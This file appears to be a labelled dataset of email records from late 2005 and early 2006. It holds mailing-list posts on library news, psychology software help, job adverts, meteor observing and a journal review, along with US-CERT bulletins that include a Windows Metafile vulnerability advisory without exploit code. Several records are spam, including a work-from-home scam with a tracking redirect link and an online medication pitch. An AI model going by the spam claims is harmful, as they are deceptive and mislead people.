aW1nIHNyYz1odHRwOi8vJTYybG9nJTY2JTY5JTZjJTY1LiU3MGFyYSU2ZS4lNjNvbS9CTE9H XzM1NzU2OC8yMDA2MDQvMTE0NDI1NTU0NV92aWExLmdpZiBib3JkZXI9MD48L2E+PC90ZD4N CjwvVFI+DQo8dHI+DQo8dGQ+PGEgaHJlZj1odHRwOi8vY2RidXkubmUxLm5ldCB0YXJnZXQ9 X2JsYW5rPri7wMwgx8q/5CC++L3AtM+02S4guvG+xrHXtvMsIL6+vsu4rr26LCC/qby6waYg yO+60MGmLiDAz7TcIMWsuK/Hz7y8v+Q8L2E+PC90ZD48L3RyPg0KPC9UQUJMRT4NCjwvYm9k eT4NCjwvaHRtbD4NCg== ",1,0 ARL Communications ,,,"On the ARL Server (Dec. 19, 2005)","On the ARL Server Week of December 19, 2005 Library Groups Applaud CURES Bill as Speeding Access to Vital Biomedical Research [PDF] ARL Publishes SPEC Kit 290: Access Services ARL Publishes ARL Statistics 2003-04 I Hear the Train A Comin'--SPARC [PDF] An interview with SPARC Executive Director Heather Joseph, published in Against the Grain, November 2005 ARL Events at the ALA Midwinter Meeting, San Antonio, January 2006 SPARC-ACRL Forum at ALA Midwinter: Authors and Authority: Perspectives on Negotiating Licenses and Copyright, January 21, 2006, 4:00 p.m.-6:00 p.m. Register for LibQUAL+ Workshops at ALA Midwinter 2006: LibQUAL+™ 2006 Introductory Workshop, January 23, 9:00 a.m.-noon, no charge LibQUAL+™ 2005 Results Meeting, January 23, 1:00 p.m.-4:00 p.m., no charge Understanding Mean Comparisons and Relations with Your LibQUAL+™ Data, January 24, 8:00 a.m.-11:00 a.m., $50 Living the Future 6: WOW!--Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5-8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12-14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Wed, 21 Dec 2005 16:48:25 +0800",[DMDX] problem,"Hi, When the program end, it would show a sentence, ""wait for input threas to die failed"". What does it mean? Thx Hui Yui Chi ",0,0 PSIK-coord ,psik-network-at-dl.ac.uk,"Wed, 21 Dec 2005 11:56:54 -0000",FW: Post-doc position," ________________________________ From: owner-psik-coord-at-dl.ac.uk [mailto:owner-psik-coord-at-dl.ac.uk] On Behalf Of Richard Sent: 21 December 2005 10:25 To: PSIK-coord Subject: Pos t -doc position Postdoctoral Fellowship in Condensed-Matter Atomistic Modeling at Commissariat à l'Energie Atomique, Bruyères-le-Châtel, France. Applications are invited for a post-doctoral position based in Bruyères-le-Châtel, (35 km from Paris), within the atomistic simulation group of the Electronic and Optoelectronic Hardening Laboratory of Commissariat à l'Energie Atomique (CEA). Our lab consists of 10 researchers with national and international collaborations and conducts applied research in the fields of microelectronic and optoelectronic hardening. This position is for a one-year term, extendable by one year and will start from February 2006. The research will focus on growth of HfO2 on silicon surface; electronic structure calculations using ab initio methods will be used to investigate the reaction of molecules containing Hf on the silicon surface. Collaborations with national and international experimental labs will allow getting an experimental validation of calculations. A PhD in quantum chemistry or in condensed matter simulation and experience of ab initio (DFT) calculations are essential. Informal enquiries about the post and how to apply can be made to Dr N Richard by e-mail (nicolas.richard-at-cea.fr). They should include a full CV and a list of publications. Nicolas Richard CEA-Bruyères-le-Châtel ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 21 Dec 2005 08:34:38 -0700",[DMDX] Re: problem,"At 04:48 PM 12/21/2005 +0800, you wrote: >Hi, > >When the program end, it would show a sentence, ""wait for input thread to >die failed"". What does it mean? > It's safe to ignore thread failing to die messages. Some machines seem to take forever to kill off threads that were doing things that are part a job that was running, usually it's a video retrace thread, this is the first instance of an input thread failing to die that I recall. Alas I never get to see such machines so never get to fully investigate them but the work of running the item file and saving the data has already been done so they are of no consequence. If the thread was responsible for saving data or some such thing there would be cause for concern but no thread is so it's just a case of me religiously sticking error messages around everything that possibly could fail and you having a machine that for some reason takes forever to kill off threads. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Everything going good? you must have overlooked something. ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Wed, 21 Dec 2005 14:12:53 -0500","US-CERT Cyber Security Bulletin SB05-355 -- Summary of Security Items from December 15 through December 21, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from December 15 through December 21, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from Summary of Security Items from December 15 through December 21, 20005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ6moQ30pj593lg50AQLSDAf/VqIynSiJx6eo6GnYBhX44KkPKAeyWgLH wEIcrX0C6u0hfS9gfTi1pbOXJdXQvrayAnqVk2hmDqULzzv9rxqGTlaPDE0n874W sp61KdeiLVpko1R571pAEUN2JtBriXuQoj61d1MiWKw7S6EkyTA0EnwMj0sI7cHc eNuDMxO/0o8F0Cu8aVgol1OcUQmT6Wkf/VGpmsc14ujBP3RMusXTxAPFhQz8Ren5 BM42jrHwOdsRiyFcnkd1N4Wxv5BGI8+iwFE0Tl9rdYZVuvqouSL6w3T1M2cu/awP FWMu1e0y1l3CC8+1Ae4276XzsYHCd8pueoW9yyt/nGjKVvDCAAWnUQ== =oSCA -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 21 Dec 2005 12:10:41 -0700",[DMDX] stroop task,"I've updated the modifier documentation with a stroop task as it would appear to be a pretty common thing people want and I've finally gotten around to coding one for someone here: http://tinyurl.com/cyt8b http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzilliononeresponsekeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No problem is so large it can't be fit in somewhere.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 21 Dec 2005 13:44:29 -0700",[DMDX] Re: stroop task,"At 12:10 PM 12/21/2005 -0700, you wrote: > I've updated the modifier documentation with a > stroop task as it would appear to be a pretty common thing people want > and I've finally gotten around to coding one for someone here: > >http://tinyurl.com/cyt8b > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzilliononeresponsekeyword.htm And I just stuck another one up that uses more normal sorts of Dmastr output. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No problem is so large it can't be fit in somewhere.",0,1 JobOpportunity ,"""marshall@astron.Berkeley.EDU"" ","Thu, 22 Dec 2005 02:59:32 -0700",Excellent income bridgett@astron.Berkeley.EDU right from your home," 4/29/2006 - 10:03 AM Dear Lidia@em.ca, Live the Dream Work from Home. http://grnspd.bargainbuyertodayss.net/Redir.aspx?id=373405&email=Lidia@em.ca Be with your kids and make a good paycheck. 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Thursday, January 5 5:00-6:30 pm Faculty Club, P&S Building Room 446 630 W. 168th Street (between Broadway & Fort Washington Ave.) *Reception to follow* If you have any questions, please e-mail NarrativeMedicineRounds@gmail.com or call 212-305-4975 Thank you, Candice",0,0 Virginia Kay ,enclgrads@CUVMC.AIS.COLUMBIA.EDU,"Thu, 22 Dec 2005 14:13:11 -0500",ISSO -Winter Break Activities,"ISSOnews Fall 2005, number 15 *********************** The ISSO will be closed from Monday, December 26th to Friday, December 30, and will reopen Monday, January 2nd at 9:00 a.m. 1. Group dinners at local restaurants Dec. 24 and 25. MUST REPLY BY THURSDAY!. 2. Winter break NYC activities led by Peer Advisers (fellow students) Dec. 24 - Jan. 16 3. Buy discount movie tickets at Barnard College before the office closes for the holidays on Dec. 22! 4. New Year's Celebrations ------------------------------------------------------------------------ 1. December 24 and December 25 dinner at local restaurants- MUST REPLY BY THURSDAY, DEC. 22 Join other students for an Italian meal at Café Pertutti at 7 pm on December 24th and/or a Chinese dinner at Columbia Cottage at 5pm on Sunday, December 25th. Expect to pay $12 and up, depending on what you order. (See online menus at http://www.menupages.com) You must reply directly to this message, so that the ISSO can make the restaurant reservation. We will forward your name and email to the peer advisers who are hosting the dinners. . SINCE SPACE IS LIMITED AND RESERVATIONS MUST BE MADE, PLEASE REPLY ONLY IF YOU ARE SERIOUS ABOUT GOING. Meeting time and place at http://www.columbia.edu/cu/isso/activities/winter_break_peer_advisors.pdf ------------------------------------------------------------- 2. Winter break activities No need to spend the winter break hibernating alone in your room or apartment! Meet new people and enjoy the winter holiday season in NYC! You can find a calendar of ISSO/Peer Adviser organized activities from December 24 - January 16, as well as a list of other places activities you might want to pursue on your own. Check it out! http://www.columbia.edu/cu/isso/activities/index.html A great summary of seasonal things to see and do around NYC can be found at http://www.nycvisit.com/content/index.cfm?pagePkey=1079&CFID=3196857&CFTOKEN=97024698 ------------------------------------------------------------- 3. Discount Movie Vouchers Save a bundle of money and buy discount movie vouchers from the College Activities Office at Barnard College! These are undated vouchers that don't expire. Sony/Loews and United Artists Cinema movie tickets are on sale at the reduced price of $7 for any show, and there are also Sony/Loews tickets for Monday - Thursday for $5. They only accept credit cards and personal checks made payable to Barnard College. NO CASH. Their office is closed from 12/22 - 1/2. http://www.barnard.edu/cao/tickets.html. ------------------------------------------------------------- 4. New Year's Celebrations Join hundreds of thousands in person and millions watching on television to ring in 2006 in Times Square at the annual Times Square New Year's Eve Celebration & Ball Drop (212-768-1560, www.timessquarealliance.org). Fireworks blaze over Prospect Park (Eastern Pkwy.& Flatbush Ave., Brooklyn, 718-965-8999, www.prospectpark.org) and Central Park (59th -110th Sts., 212-360-3444, www.centralparknyc.org) where they will signal the start of the New York Road Runners Midnight Run (212-860-4455, www.nyrrc.org). Hopes for a peaceful year will be voiced at the Annual New Year's Eve Concert for Peace at the Cathedral Church of St. John the Divine (1047 Amsterdam Ave., 212-662-2133, www.stjohndivine.org). ------------------------------------------------------------- International Students and Scholars Office (ISSO) 524 Riverside Drive at 123rd Street 854-3587 http://www.columbia.edu/cu/isso isso@columbia.edu Office hours: Monday Friday, 9-5pm, except Wednesdays when we open at 10:30 following a staff meeting. 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Martin A A Schoonen, Ken B Anderson and Scott A Wood. Moving Geochemical Transactions forward as an open access journal. Geochemical Transactions 2006, 7:1. doi:10.1186/1467-4866-7-1 Geochemical Transactions, the first online-only journal in geochemistry and environmental chemistry, is now the first major open access journal in this subject area. All issues of Geochemical Transactions, including the back content, will be fully and permanently available online to all, without a subscription charge. Copyright of all future articles will be retained by the authors. Geochemical Transactions remains the official journal of the Division of Geochemistry of the American Chemical Society. The generous support of the Division has made it possible to make the back content available without a subscription charge. As the impact factor demonstrates (1.941), the content has been strong, even if the flow of articles has been meager. The journal has never received a noticeable push from the American Chemical Society. The Geochemistry Division of the American Chemical Society has done a poor job recruiting submissions from its own members, but perhaps, the journal has finally turned the corner. George S. Porter Sherman Fairchild Library of Engineering & Applied Science California Institute of Technology Mail Code 1-43, Pasadena, CA 91125-4300 Telephone (626) 395-3409 Fax (626) 431-2681 http://library.caltech.edu contributor http://stlq.info | http://www.earlham.edu/~peters/fos/fosblog.html ",0,1 ,,,,"by popserver1.fnal.gov (iPlanet Messaging Server 5.2 (built Feb 21 2002)) with SMTP id <0IS6001EQQBSLU@popserver1.fnal.gov>; Tue, 27 Dec 2005 19:47:52 -0600 (CST) Received: from mailgw1.fnal.gov ([131.225.111.11]) by popserver1.fnal.gov (NAVGW 2.5.2.9) with SMTP id M2005122719475209095 ; Tue, 27 Dec 2005 19:47:52 -0600 Received: from mailav2.fnal.gov (mailav2.fnal.gov [131.225.111.20]) by mailgw1.fnal.gov (iPlanet Messaging Server 5.2 HotFix 2.06 (built Mar 28 2005)) with SMTP id <0IS6001PJQBIME@mailgw1.fnal.gov>; Tue, 27 Dec 2005 19:47:52 -0600 (CST) Received: from mailgw2.fnal.gov ([131.225.111.12]) by mailav2.fnal.gov (SAVSMTP 3.1.7.47) with SMTP id M2005122719475216713 ; Tue, 27 Dec 2005 19:47:52 -0600 Received: from conversion-daemon.mailgw2.fnal.gov by mailgw2.fnal.gov (iPlanet Messaging Server 5.2 HotFix 2.06 (built Mar 28 2005)) id <0IS600001Q50RW@mailgw2.fnal.gov> (original mail from harding@fnal.gov) ; Tue, 27 Dec 2005 19:47:52 -0600 (CST) Received: from [127.0.0.1] (tdpc431.fnal.gov [131.225.46.124]) by mailgw2.fnal.gov (iPlanet Messaging Server 5.2 HotFix 2.06 (built Mar 28 2005)) with ESMTP id <0IS600JSZQB6C9@mailgw2.fnal.gov>; Tue, 27 Dec 2005 19:47:51 -0600 (CST) Date: Tue, 27 Dec 2005 19:47:30 -0600 From: David Harding Subject: Proton Source Magnet Meeting To: Marsha Schmidt , John Zweibohmer , Vladimir Kashikhin , Jim Lackey , Jamie Blowers , Craig Drennan , Sasha Makarov , TJ Gardner , Chuck Ankenbrandt , Mark Steinke , Eric Prebys , Milorad Popovic , Bill Pellico , Rich Andrews , Rob Reilly , Fernanda Garcia , Bill Robotham , Henry Glass Cc: Marsha Schmidt , John Zweibohmer , Vladimir Kashikhin , Jim Lackey , Jamie Blowers , Craig Drennan , Sasha Makarov , TJ Gardner , Chuck Ankenbrandt , Mark Steinke , Eric Prebys , Milorad Popovic , Bill Pellico , Rich Andrews , Rob Reilly , Fernanda Garcia , Bill Robotham , Henry Glass Reply-to: harding@fnal.gov Message-id: <43B1EEB2.2@fnal.gov> Organization: Fermilab MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Proton Source Magnets Meeting Tuesday, 3 January 2006 9:00 AM IB2 Conference Room A review of the status of TD fabrication jobs for the Proton Source, on-going, approved, and potential. 0) Notes from past meetings are posted at http://tdserver1.fnal.gov/AcceleratorSupport/ProtonSource/Meetings/ Your additions and corrections are solicited 1) Kickers, beam tubes - Potting R&D progress Beam tube receipts, inspection, assessment 2) ORBUMP magnet - Fabrication status Testing status 3) ORBUMP girder, vacuum, and stripline Procurement, inspection Assembly 4) Corrector package - Tooling progress Coil procurement plan Winding status Next meeting: 10 January 2006, 9:00 AM Legal Notices",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 28 Dec 2005 20:38:06 -0500",US-CERT Technical Cyber Security Alert TA05-362A -- Microsoft Windows Metafile Handling Buffer Overflow ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Microsoft Windows Metafile Handling Buffer Overflow Original release date: December 28, 2005 Last revised: -- Source: US-CERT Systems Affected * Systems running Microsoft Windows Overview Microsoft Windows is vulnerable to remote code execution via an error in handling files using the Windows Metafile image format. Exploit code has been publicly posted and used to successfully attack fully-patched Windows XP SP2 systems. However, other versions of the the Windows operating system may be at risk as well. I. Description Microsoft Windows Metafiles are image files that can contain both vector and bitmap-based picture information. Microsoft Windows contains routines for displaying various Windows Metafile formats. However, a lack of input validation in one of these routines may allow a buffer overflow to occur, and in turn may allow remote arbitrary code execution. This new vulnerability may be similar to one Microsoft released patches for in Microsoft Security Bulletin MS05-053. However, publicly available exploit code is known to affect systems updated with the MS05-053 patches. Not all anti-virus software products are currently able to detect all known variants of exploits for this vulnerability. However, US-CERT recommends updating anti-virus signatures as frequently as practical to provide maximum protection as new variants appear. US-CERT is tracking this issue as VU#181038. This reference number corresponds to CVE entry CVE-2005-4560. II. Impact A remote, unauthenticated attacker may be able to execute arbitrary code if the user is persuaded to view a specially crafted Windows Metafile. III. Solution Since there is no known patch for this issue at this time, US-CERT is recommending sites follow several potential workarounds. Workarounds Please be aware US-CERT has confirmed that filtering based just on the WMF file extension or MIME type ""application/x-msmetafile"" will not block all known attack vectors for this vulnerability. Filter mechanisms should be looking for any file that Microsoft Windows recognizes as a Windows Metafile by virtue of its file header. Do not access Windows Metafiles from untrusted sources Exploitation occurs by accessing a specially crafted Windows Metafile. By only accessing Windows Metafiles from trusted or known sources, the chances of exploitation are reduced. Attackers may host malicious Windows Metafiles on a web site. In order to convince users to visit their sites, those attackers often use URL encoding, IP address variations, long URLs, intentional misspellings, and other techniques to create misleading links. Do not click on unsolicited links received in email, instant messages, web forums, or internet relay chat (IRC) channels. Type URLs directly into the browser to avoid these misleading links. While these are generally good security practices, following these behaviors will not prevent exploitation of this vulnerability in all cases, particularly if a trusted site has been compromised or allows cross-site scripting. Block access to Windows Metafiles at network perimeters By blocking access to Windows Metafiles using HTTP proxies, mail gateways, and other network filter technologies, system administrators may also limit other potential attack vectors. Reset the program association for Windows Metafiles Remapping handling of Windows Metafiles to open a program other than the default Windows Picture and Fax Viewer (SHIMGVW.DLL) may prevent exploitation via some current attack vectors. However, this may still allow the underlying vulnerability to be exploited via other known attack vectors. _________________________________________________________________ This document is also available at Updates will be made at Feedback can be directed to _________________________________________________________________ Produced 2005 by US-CERT, a government organization. Terms of use Revision History December 28, 2005: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ7M8HX0pj593lg50AQJZLAf8DSIBug0PJwRekEIVO98pEJOQByA6oU63 orYhC7cPDlrFEmIXG5Nx+2sDedb83cUmuGbNTFYKd2FqEzdGty7EsMGIKW6NGyIJ O0qrS+wOm3T6/9XZ0fwuI0cHJjrlDoF3LlTnfsL4SpEEQRFlDsS/Bd9lxuUHDoU6 0PKOiy2j+XjhpyKlNGA5d7a7Qo+HkKYkO4xMm5NPO5kKYKHW81REcs8mqnMbN0JC JAoFLSWsCrSVqx8arE2ofwZCtOkCb5iQFlkKsc6EUFzUtYzBS8jaAncYEb1KJatl w3ACj4+Rr/OsbY1Sqle+P6XKPfIVwjx7s/MgvQR20OVtCbIE92N9nw== =hAPk -----END PGP SIGNATURE-----",0,1 Valarie ,marquita@smtp.uoregon.edu,"Wed, 28 Dec 2005 16:35:29 -0500",men meds Peter," There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. 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Relating to meteors, I did everything possible to avoid placing meteors into that purgatory known as the ""sporadic bin"". Therefore when I started this weekly column, I introduced terms such as apex, antiapex, and anthelion, hoping to save some meteors from that sporadic abyss. After years of study I will now admit that the three sources previously mentioned do not provide enough activity to warrant separate designations. Therefore, beginning in 2006, I am asking that observers simply drop these designations and list any such meteors as sporadic. But fear not you fans anthelion activity! We are bringing back some old favorites such as the Virginids and Sagittarids, but under a new guise suggested by the International Meteor Organization. No longer will the Virginids radiant from Leo or the Sagittarids come from Libra. With this edition we introduce a new designation called the Eclipticids (ECL). These are true showers attributed to comets and asteroids that deserve study and observation. The 2006 I.M.O. calendar will list these showers with their common names and abbreviations. Not until 2007 will the I.M.O. switch designations for these showers. Therefore I will list the equivalent I.M.O. designation this year so that their observers know what shower I am discussing. I feel this is a positive step and one that will aid in helping observers properly classify the activity they witness. Now on to the activity for next week! The moon reaches its new phase on Saturday December 31. At this time the moon will rise and set with the sun and will not interfere with observing at all. Later in this period, the waxing crescent moon will emerge in the evening sky but will set soon after the end of evening twilight and will not cause any problems. The estimated total hourly rates for evening observers this week should be near four for Northern Hemisphere observers and three for those located in the Southern Hemisphere. For morning observers the estimated total hourly rates should be near thirteen for Northern Hemisphere observers and eight for those located in the Southern Hemisphere. These rates assume that you are watching from rural areas away from all sources of light pollution. The actual rates will also depend on factors such as personal light and motion perception, local weather conditions, alertness and experience in watching meteor activity. The radiant positions listed below are exact for Saturday night/Sunday morning December 31/January 1. These positions do not change greatly day to day so the listed coordinates may be used during this entire period. Most star atlases (available at science stores and planetariums) will provide maps with grid lines of the celestial coordinates so that you may find out exactly where these positions are located in the sky. A planisphere or computer planetarium program is also useful in showing the sky at any time of night on any date of the year. Activity from each radiant is best seen when it is positioned highest in the sky, either due north or south along the meridian, depending on your latitude. Meteor activity is not seen from radiants that are located below the horizon. The positions below are listed in a west to east manner in order of right ascension (celestial longitude). The positions listed first are located further west therefore are accessible earlier in the night while those listed further down the list rise later in the night. These are the showers that may be observed this week: The Eclipticid (ECL) radiant is now centered at 07:28 (112) +22. This area of the sky is located in eastern Gemini, seven degrees southwest of the first magnitude star Pollux (Beta Geminorum). This radiant is best placed near 0100 local standard time when it lies on the meridian and is highest in the sky. Rates should be near two per hour from the Northern Hemisphere and one per hour for observers south of the equator. With an entry velocity of 28 km/sec., the average Eclipticid meteor would be of medium-slow speed. This radiant is a good source of fireballs, more so as we progress through the winter months. Those who send reports to the I.M.O. should label these meteors as Delta Cancrids (DCA). The Gamma Velids (GVE) are a class IV shower (best left for study by observers who use video and photographic observations). This is the first of many weak southern showers active during January and February. The Gamma Velids are listed among the radiants of the Dutch Meteor Society and reach maximum activity on January 5. Visual rates would be low, most likely less than one shower member per hour. The radiant is currently located near 08:16 (124) -47. This position lies in western Vela, only one degree northeast of the second magnitude star Gamma Velorum. The radiant lies highest in the sky between 0100 and 0200. This shower is not visible north of latitude 45 north. At 35 km/sec. the Gamma Velids produce meteors of average velocity. The Coma Berenicids (COM) reached maximum activity on December 19, when the ZHR reaches five. Current rates would be 1-2 shower members per hour at best. The radiant is currently located at 12:24 (186) +20, which places it in central Coma Berenicids, ten degrees northeast of the second magnitude star Denebola (Beta Leonis). This radiant is best placed for viewing just before dawn, when it lies highest above the horizon. At 65 km/sec. the Coma Berenicids produce mostly swift meteors with the brighter shower members leaving persistent trains. The Quadrantids (QUA) reach maximum activity on January 3 near 1820 Universal Time. This corresponds to 1320 EST and 1020 PST, both during daylight hours. The western Pacific area is favored for the 2006 display, but on the morning of January 4, local time. The radiant is located at 15:20 (230) +49. This position lies in a sparse area of northern Bootes, ten degrees south of the third magnitude star Iota Draconis. Rates can exceed one hundred shower members per hour if the radiant is high in a dark sky at the time of maximum activity. Most observers will see much less than this, probably closer to 25 per hour. While some activity may be seen during the evening hours from high northern latitude areas, the prime hours lie in the late morning hours when the radiant rises high into the northeastern sky. This shower is not well seen south of the equator as the radiant does not rise sufficiently high into the sky before the start of morning twilight. At 41 km/sec. the Quadrantids produce meteors of average velocity with a few persistent trains. The Sporadic rates for the Northern Hemisphere are now just past their annual peak. One would expect to see perhaps eight random meteors per hour during the last hours before dawn from rural observing sites. During the evening hours perhaps three random meteors can be seen per hour. Sporadic rates seen from the Southern Hemisphere are increasing toward a peak this month. One would see approximately six random meteors per hour during the late morning hours and two per hour during the evening. Possible Outburst?- Observers in South America should be on the alert near 0620 Universal Time on January 2, when the Earth is predicted to pass through a trail of debris produced by C1969T Tago-Sato-Kosaka. The predicted radiant lies at 15:24 (231) -57. This position lies near the borders of the constellations of Norma, Circinus, and Lupus, five degrees southeast of the third magnitude star Zeta Lupi. It is impossible to predict the exact intensity of this display, or even if it will occur. The circumstances are unusually favorable though as the Earth passes only 26,000 miles from the predicted center of this debris. Now the question is, just how richly populated is this trail with the comet now 37 years past perihelion? Information provided by the International Meteor Organization's Alastair McBeath, in their 2006 Meteor Shower Calendar. SHOWER MAXIMUM POSITION VELOCITY CULMINATION HOURLY RATE RA (RA in Deg.) DEC Km/Sec Local Standard Time North-South Eclipticid (ECL) Jan 17 07:28 (112) +22 28 1:00 2 - 1 Gamma Velids (GVE) Jan 5 08:16 (124) -47 35 2:00 0 - >1 Coma Berenicids (COM) Dec 19 12:24 (186) +20 65 6:00 2 - 1 Quadrantids (QUA) Jan 3 15:20 (230) +49 41 9:00 1 - 0 Eclipticid 07:28 (112) +22 Hourly Rate = N. Hemisphere 2 - S. Hemisphere 1 Gamma Velids (GVE) 08:16 (124) -47 Hourly Rate = N. Hemisphere 0 - S. Hemisphere >1 Coma Berenicids (COM) 12:24 (186) +20 Hourly Rate = N. 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This email has scanned by PEMI InterScan VirusWall ***************** End of message *************** ------=_NextPart_000_0002_CD02F28A.3F41D14B-- Received on Wed Jan 4 06:46:32 2006 This message: [ Message body ] Next message: raycock_at_co.hunterdon.nj.us: ""Mail System Error - Returned Mail"" Previous message: support_at_cuna.org: ""(no subject)"" Mail actions: [ respond to this message ] [ mail a new topic ] Contemporary messages sorted: [ By Date ] [ By Thread ] [ By Subject ] [ By Author ] [ By messages with attachments ] This archive was generated by hypermail 2.1.8 : Sat Jan 14 2006 - 12:00:39 EST",1,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 05 Jan 2006 11:17:33 -0500","US-CERT Cyber Security Bulletin SB06-005 -- Summary of Security Items from January 1 to January 4, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from January 1 to January 4, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from January 1 to January 4, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ71GGn0pj593lg50AQIi2wf/cPRjFilCKugr9zNJJWbh7stZxPYEfZVA SkJG1fHQmoKUDkdW/hzL2O26PvV0hQgyITSCQh//n2G6lLbNiQ6737Ec3bKuyYU8 W4e3QCbeRldoRk6tviIn1Jez3RCW/aHt9HIELL1MteI95hWbKNBDB1j5Drn0QNkp wfOf8mHvPZkIkO74N/YcMSaJZQpA1xBMRxZT6bbvtMHaWLOAlP8YqUmoxA/J+joY iISdtyjjP7jWlrGkc0erfIoFzPIsaZQDZUBAl6LaGf9pCqsPLqN8NgaLBjtyrSKM eiNpF4SLymDh+oq7yoh0/hR+XJXk06gjPM0sxm59ZCNvJxMMOtQ9qQ== =guX5 -----END PGP SIGNATURE-----",0,1 t.r.hopkins@kent.ac.uk,jzwolak@vt.edu,"Thu, 05 Jan 2006 09:15:41 -0500",Transactions on Mathematical Software - Manuscript TOMS-2004-0078,"Jason: Comments from the TOMS Associate Editor and referees have now been prepared for the following manuscript submitted to the ACM Transactions on Mathematical Software. Identifier: TOMS-2004-0078 Title: ODRPACK95: A Weighted Orthogonal Distance Regression Code with Bound Constraints Author(s): Zwolak, Jason; Boggs, Paul; Watson, Layne Type: 2 Algorithm paper (with submitted code) Comments provided in ASCII text (if any) are simply included below. If comments were prepared in PDF format then you will have to log in to ACM Manuscript Central at http://acm.manuscriptcentral.com/ to view them. These reports indicate that a substantial revision to your manuscript will be necessary before it can be considered for publication. We will be happy to receive such a revision. The revised manuscript will be once again subjected to a careful review by referees to determine its suitability for publication. Your revision should be submitted via ACM Manuscript Central at http://mc.manuscriptcentral.com/toms . We will expect to receive it within six months time. Best wishes, Tim ======================================================================= COMMENTS FROM REFEREES Referee: 1 Comments are in a pdf file accessible from http://acm.manuscriptcentral.com/ Referee: 2 Comments to the Author I enjoyed reading the ODRPACK95: A Weighted Orthogonal Distance Regression Code with Bound Constraints. The manuscript and code are certainly appropriate for ACM TOMS and the paper is a nice updating and natural generalization of ODRPACK. I think the paper would benefit from a quick review of applications of ODRPACK; indeed the authors reference an application in biology in their references. A few paragraphs describing and citing some examples of `ODRPACK in action' would, I think make the paper more accessible to a less mathematical-software audience. There are certainly many and varied applications that can be used. Secondly I thought the paper failed to explain sufficiently how the bounds were handled. I understand that the ODRPACK step was projected into a bound constrained box, but I would have felt more comfortable knowing exactly which projection was used (inspite of the reference to LANCELOT) and a precise formulation of that projection. Also related to this, the current implementation of the code calculates finite differences and up- or down-winds so that all function evalautions remain feasible, even when iterations are on or close to a constraint boundary. I think that the paper would benefit from a clearer explaination of why this is a good idea and how it affects the accuracy of the gradient calculation. For example, if one is fitting parameters from a differential equationa and using the finite difference feature in the code, this lack of consistency in how gradients are calculated could make a significant difference in optimization. I don't disagree that what has been implemented makes good sense. Clearly in most instances, it will make very little difference and will restrict all function evaluations to be made inside the box. I think the paper would benefit from a clearer description of why it was done and how it could change optimization. There were a few corrections/suggestions specific to the text below: Page 2: ""then (1.1) holds exactly"" should read ""then (1.1) holds"". ""true value of $\\Beta$ can only be"" should read ""true value of $\\Beta$ can likely only be"" Page 3: ""the data to be complex"" should read ""complex data"" Page 4: ""This property obtains because"" should read ""This property holds because"" ""diagonal matrix of constants"" should read ""constant diagonal matrix"" ""In the weighted"" should read ""In the non-constant weighted"" Page 5: ""is just the Jacobian"" should read ""is the Jacobian"" ""defined here to make the following equation simpler"" should read ""defined here to simplyfy the following equation"" Page 6: ""to stall near"" should read ""to stall near a boundary but far from optimality..."" ""exploitation"" should read ""effective use"" ""where $\\Beta$ is physically constrained"" should read ""where $\\Beta$ is constrained"" Page 7 ""affect"" should read ""effect"" Page 8 ""if the user did not"" should read ""if the user does not"" Page 11 ""is greatly simplified"" should read ""simplified"" period missing from the third sentence in section six. Finally - I think a reference to a modern survey on Trust Region Methods (e.g. the book ``Trust-Region Methods'' by Conn et. al.) would make the paper more useful as a reference to non-mathematicians as would a reference in addition to the Fuller text for statistics oriented readers (perhaps the book ``Statistical Regression with Measurement Error'' by Cheng and Van Ness). ",0,1 US-CERT Alerts ,alerts@us-cert.gov,"Thu, 05 Jan 2006 17:15:18 -0500",US-CERT 